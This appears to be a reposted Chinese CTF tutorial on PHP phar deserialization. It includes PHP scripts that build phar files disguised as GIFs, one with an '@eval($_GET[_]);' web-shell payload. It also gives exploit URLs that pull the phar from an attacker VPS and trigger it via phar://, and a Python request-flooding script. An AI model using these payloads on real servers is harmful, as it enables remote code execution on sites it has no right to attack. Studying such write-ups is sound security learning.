PHP反序列化入门之phar

栏目: PHP · 发布时间: 5年前

内容简介:以上内容摘自:这题比较简单,可以直接生成

简单来说 phar 就是 php 压缩文档。它可以把多个文件归档到同一个文件中,而且不经过解压就能被 php 访问并执行,与 file:// php:// 等类似,也是一种流包装器。

phar 结构由 4 部分组成

  • stub phar 文件标识,格式为 xxx<?php xxx; __HALT_COMPILER();?>;
  • manifest 压缩文件的属性等信息,以 序列化 存储;
  • contents 压缩文件的内容;
  • signature 签名,放在文件末尾;

这里有两个关键点,一是文件标识,必须以 __HALT_COMPILER();?> 结尾,但前面的内容没有限制,也就是说我们可以轻易伪造一个图片文件或者 pdf 文件来绕过一些上传限制;二是反序列化, phar 存储的 meta-data 信息以序列化方式存储,当文件操作函数通过 phar:// 伪协议解析 phar 文件时就会将数据反序列化,而这样的文件操作函数有很多。

以上内容摘自: 由 PHPGGC 理解 PHP 反序列化漏洞 。接下来,我们还是通过两个CTF题目来学习phar反序列化的利用。

例题一

PHP反序列化入门之phar

这题比较简单,可以直接生成 phar 文件,然后利用网站的上传图片功能,结合 第11行file_exists 函数进行phar反序列化利用,生成代码如下:

<?php
// phar.readonly无法通过该语句进行设置: init_set("phar.readonly",0);
class MyClass{
    var $output = '@eval($_GET[_]);';
}

$o = new MyClass();
$filename = 'poc.phar';// 后缀必须为phar,否则程序无法运行
file_exists($filename) ? unlink($filename) : null;
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();
?>

PHP反序列化入门之phar

例题二

这题选用 HITCON2017 中的 Baby^H Master PHP 2017 一题进行学习,题目点 这里 下载。

PHP反序列化入门之phar

题目的意思很明确,要我们利用 Admin 类的 __destruct 方法来获得 flag 。但是 第20行$random 变量我们无法获得,这样也就无法获得 flag ,所以我们要通过匿名类的名字来调用 flag 生成函数。

我们可以看看 create_function 函数对应的内核源码。( php-src/Zend/zend_builtin_functions.c:1901

PHP反序列化入门之phar

可以看到匿名函数的名字类似于 \0lambda_%d ,其中 %d 为数字,取决于进程中匿名函数的个数,但是我们每访问一次题目,就会生成一个匿名函数,这样匿名函数的名字就不好控制。这里,我们便要引入 apache-prefork 模型(默认模型)介绍(关于该模型的介绍,可以参考: Apache的三种MPM模式比较:prefork,worker,event )。当用户请求过大时,超过 apache 默认设定的阀值时,就会启动新的线程来处理请求,此时在新的线程中,匿名函数的名字又会从1开始递增,这样我们就容易猜测匿名函数的名字了。

接下来我们就来找反序列化的利用点,我们很快看到 第35行 反序列化了一个可控的 $data 变量,但是上一行有一个 hash_equals 函数进行了数据校验,而 $SECRET 的值不可知,这就没法利用这一反序列化点。接着我们会看到 第40行 有一个上传 gif 文件功能,且 $data 变量可控。那么攻击思路就是,我们先通过将构造好的 phar 文件传到服务器上,再利用可控的 $_GET[“url”] 结合 phar 协议,进行反序列化。用于生成 phar 的代码如下:

<?php
// phar.readonly无法通过该语句进行设置: init_set("phar.readonly",0);
class User { 
    public $avatar; 
    function __construct($path) { 
        $this->avatar = 'avatar.gif'; 
    } 
} 
class Admin extends User { }

$o = new Admin();
$filename = 'avatar.phar';
file_exists($filename) ? unlink($filename) : null;
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();
?>

将生成的 avatar.phar 放在自己的 VPS 上并重命名成 avatar.gif ,然后将文件上传到题目服务器上:

http://题目IP/index.php?m=upload&url=http://VPS_IP/

接着,我们需要通过大量请求,使 apache 重新开启一个新的线程,然后访问如下 url 即可完成反序列化并获得 flag

http://题目IP/index.php?m=upload&url=phar:///var/www/data/xxxx/&lucky=%00lambda_1

关于 phar 更深的利用,可以参考这篇文章: Phar与Stream Wrapper造成PHP RCE的深入挖掘

import requests
import socket
import time
from multiprocessing.dummy import Pool as ThreadPool
try:
    requests.packages.urllib3.disable_warnings()
except:
    pass

def run(i):
    while 1:
        HOST = '127.0.0.1'
        PORT = 8000
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((HOST, PORT))
        s.sendall('GET /avatar.gif HTTP/1.1\nHost: localhost\nConnection: Keep-Alive\n\n')
        # s.close()
        print 'ok'
        time.sleep(0.5)

i = 8
pool = ThreadPool( i )
result = pool.map_async( run, range(i) ).get(0xffff)

以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

编程风格

编程风格

[美] Cristina Videira Lopes / 顾中磊 / 人民邮电出版社 / 2017-8 / 55.00元

本书对一个常见的编程问题定义了不同的约束,分别使用33种方法实现了同一个词频统计任务,从而形成了风格迥异的编程风格。作者以惯用的计算机语言与简单的任务为画笔,描绘了一次生动难忘的编程之旅,帮助读者加深了对语言的理解,也提供了崭新的编程思路。一起来看看 《编程风格》 这本书的介绍吧!

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

RGB转16进制工具
RGB转16进制工具

RGB HEX 互转工具

随机密码生成器
随机密码生成器

多种字符组合密码